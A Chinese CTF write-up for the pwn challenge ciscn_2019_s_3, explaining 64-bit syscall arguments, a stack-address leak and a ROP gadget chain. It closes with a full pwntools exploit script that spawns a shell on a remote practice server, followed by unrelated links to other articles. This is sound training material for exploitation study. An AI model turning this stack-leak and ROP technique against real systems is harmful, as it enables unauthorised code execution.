这道题挺好的,可以帮助我更好的理解gadget的利用以及rop技术

首先,查一下程序保护情况

拖进ida分析

这里sys_read和sys_write是系统调用函数,看汇编可以分析出来

我们首先要了解一下64位系统的系统调用

传参方式:首先将系统调用号 传入 rax,然后将参数 从左到右 依次存入 rdi,rsi,rdx寄存器中,返回值存在rax寄存器

调用号:sys_read 的调用号 为 0 ;sys_write 的调用号 为 1;stub_execve 的调用号 为 59; stub_rt_sigreturn 的调用号 为 15

调用方式: 使用 syscall 进行系统调用

可以看到它有将rax设置为3B(59),调用了execve,execve函数作用是执行一个新的程序,程序可以是二进制的可执行程序,也可以是shell、pathon脚本,这个跟system函数差不多,记录一下调用execve的地址,execve_addr=0x4004e2,在这个调用execve的函数里也看到了retn,我们可以用它继续控制程序流,接下来就是去设置execve函数的参数,通过pop指令持续控制,让rdi=/bin/sh,rsi=0,rdx=0即可获得shell

这道题还有一个地方需要注意,那就是vuln函数汇编代码那边是leave指令,只有retn指令,说明不需要覆盖原来rbp的值,buf的溢出的值为0x10,后面紧接返回地址就行

接着分析sys_read和sys_write函数,可见write的值是0x30,会将栈上一些其它的东西打印出来,这里我们直接动态调试一下,看会泄露哪些东西

这边在read这边读入'a'*0x10,然后看write会泄露什么

可以看到0x7fffffffde70这个地址处的值 0x00007fffffffdf78 已经将栈地址泄露出来,然后我们输入的值是存在0x7fffffffde50处,用0x00007fffffffdf78-0x7fffffffde50=0x128 ,这个0x128的用处是:

因为程序每次加载程序,栈地址可能都会变化,但是偏移是不变,我们可以利用这个偏移和泄露的栈地址确定到我们输入的地址,如果我们是输入/bin/sh的话,就是到我们这字符串的地址。

然后就是要确定三个参数的位置了

先来rdx:下面这个其实已经确定rsi,并会执行call函数,但是只要覆盖其返回地址就行,可以继续rop

得先确定r13,那就找r13:

pop 6次,可以填充6个0

然后就是第一个参数rdi:

可以直接利用

exp:

from pwn import *

context(os='linux',arch='amd64',log_level='debug')
io=remote("node4.buuoj.cn",27569)
vul_addr=0x4004EE
payload=b"/bin/sh\x00"+b'a'*0x8+p64(vul_addr)
io.send(payload)
io.recv(0x20)
bin_addr=u64(io.recv(8))-0x128 #此处的偏移0x128是动态调试出来的
mov_rdx_r13=0x400580
pop_r13_6=0x40059A
rdi=0x4005a3
gadget=0x4004E2
syscall_addr=0x400517
payload2=b"/bin/sh\x00"*2+p64(pop_r13_6)+p64(0)*6+p64(mov_rdx_r13)+p64(gadget)
payload2+=p64(rdi)+p64(bin_addr)+p64(syscall_addr)
io.send(payload2)
io.interactive()

【pwn】ciscn_2019_s_3 -- rop,gadget利用,泄露栈地址的更多相关文章

  1. RealWorld CTF 5th ShellFind 分析

    前言 RealWorld CTF 5th 里的一道iot-pwn,根据真实设备固件改编而成,觉得题目贴近iot实战且很有意思,故在此记录一下复现过程. 题目分析 题目描述 Hello Hacker. ...

  2. Linux pwn入门教程(3)——ROP技术

    作者:Tangerine@SAINTSEC 原文来自:https://bbs.ichunqiu.com/thread-42530-1-1.html 0×00 背景 在上一篇教程的<shellco ...

  3. CTF必备技能丨Linux Pwn入门教程——ROP技术(上)

    Linux Pwn入门教程系列分享如约而至,本套课程是作者依据i春秋Pwn入门课程中的技术分类,并结合近几年赛事中出现的题目和文章整理出一份相对完整的Linux Pwn教程. 教程仅针对i386/am ...

  4. 记两道最近做的pwn题(ciscn_2019)

    这两题为什么要记录呢,一个是我发现网上很多教程没写清楚(也可能是我太菜了),二是细节点很多,不同的大佬方式不太一样,有很多细节需要注意 ciscn_2019_es_2 这题是栈迁移的题,先上exp 1 ...

  5. MIPS Pwn赛题学习

    MIPS Pwn writeup Mplogin 静态分析   mips pwn入门题. mips pwn查找gadget使用IDA mipsrop这个插件,兼容IDA 6.x和IDA 7.x,在ID ...

  6. CTF必备技能丨Linux Pwn入门教程——PIE与bypass思路

    Linux Pwn入门教程系列分享如约而至,本套课程是作者依据i春秋Pwn入门课程中的技术分类,并结合近几年赛事中出现的题目和文章整理出一份相对完整的Linux Pwn教程. 教程仅针对i386/am ...

  7. 一步一步学ROP之gadgets和2free篇(蒸米spark)

    目录 一步一步学ROP之gadgets和2free篇(蒸米spark) 0x00序 0x01 通用 gadgets part2 0x02 利用mmap执行任意shellcode 0x03 堆漏洞利用之 ...

  8. PWN二进制漏洞学习指南

    目录 PWN二进制漏洞学习指南 前言 前置技能 PWN概念 概述 发音 术语 PWN环境搭建 PWN知识学习途径 常见漏洞 安全机制 PWN技巧 PWN相关资源博客 Pwn菜鸡小分队 PWN二进制漏洞 ...

  9. 2020信息安全铁人三项 pwn复盘

    第一赛区 hacknote 程序存在格式化字符串漏洞和uaf,不多说了,很简单. 1 from pwn import * 2 3 p = process('./hacknote') 4 elf = E ...

  10. Linux64位程序中的漏洞利用

    之前在栈溢出漏洞的利用和缓解中介绍了栈溢出漏洞和一些常见的漏洞缓解 技术的原理和绕过方法, 不过当时主要针对32位程序(ELF32). 秉承着能用就不改的态度, IPv4还依然是互联网的主导, 更何况 ...

随机推荐

  1. 反射(Java Reflection)

    Java反射机制概述 Reflection(反射)是Java被视为动态语言的关键,反射机制允许程序在执行期借助于ReflectionAPI取得任何类的内部信息,并能直接操作任意对象的内部属性及方法. ...

  2. 2021-11-30 wpf的mvvm绑定2

    主页页面代码 <Grid> <TextBox x:Name="First" Width="80" Height="20" ...

  3. 【游戏开发笔记】编程篇_C#面向对象{上}

    @ 目录 1.变量和表达式 1.1注释 1.2C#控制台程序基本结构 1.3变量(从存储长度来看) 1.4变量的命名 1.5字面值 1.6运算符 2流程控制 2.1分支 2.2循环 3变量知识拓展 3 ...

  4. pandas取出包含某个值的所有行

    pandas取出包含某个值的所有行df = df[df["from_account"].str.contains("fcwhx")] pandas取出不包含某个 ...

  5. [nginx]编译安装openresty

    前言 OpenResty是一个基于Nginx和Lua的高性能Web平台,其内部集成了大量精良的Lua库.第三方模块以及大多数的依赖项.用于方便地搭建能够处理超高并发.扩展性极高的动态 Web 应用.W ...

  6. mysql拓展

    事务定义 就是将一组SQL语句放在同一批次内去执行 如果一个sql语句出错,则改批次内的所有sql都将被取消执行 (1)原子性 一个事务要么全部提交成功,要么全部失败回滚,不能只执行其中的一部分操作, ...

  7. jdk安装自动化

    写个在linux环境安装Java的脚本(install_java.sh),只需将jdk上传至/opt目录下,执行脚本即可. #!/bin/bash #author:zhangyl #本安装使用jdk版 ...

  8. CAJViewer卡的解决办法

    在做毕业设计时,使用了CAJViewer7.2版本的阅读器,使用起来非常卡,翻页总是不流畅,体验感极差. 最后实在受不了了,去百度了一下,在贴吧中看到了疑似解决方案,尝试了一下,真的不卡了.所以特此写 ...

  9. IE浏览器不支持TextDecoder()的问题

    IE浏览器不支持TextDecoder()方法,因此在进行Arrbuffer转string或中文时,出现未定义的错误.通过网上查找方法,可以通过引用第三方库进行解决. github地址:https:/ ...

  10. #Powerbi 1分钟学会,RANK函数,多字段排名函数.

    一:思维导图&数据源示例 1.1思维导图 1.2示例数据源 二:参数构成 三:案例度量值 基础度量值 总销量 = CALCULATE(SUM('数据源'[销量])) 总销售额 = CALCUL ...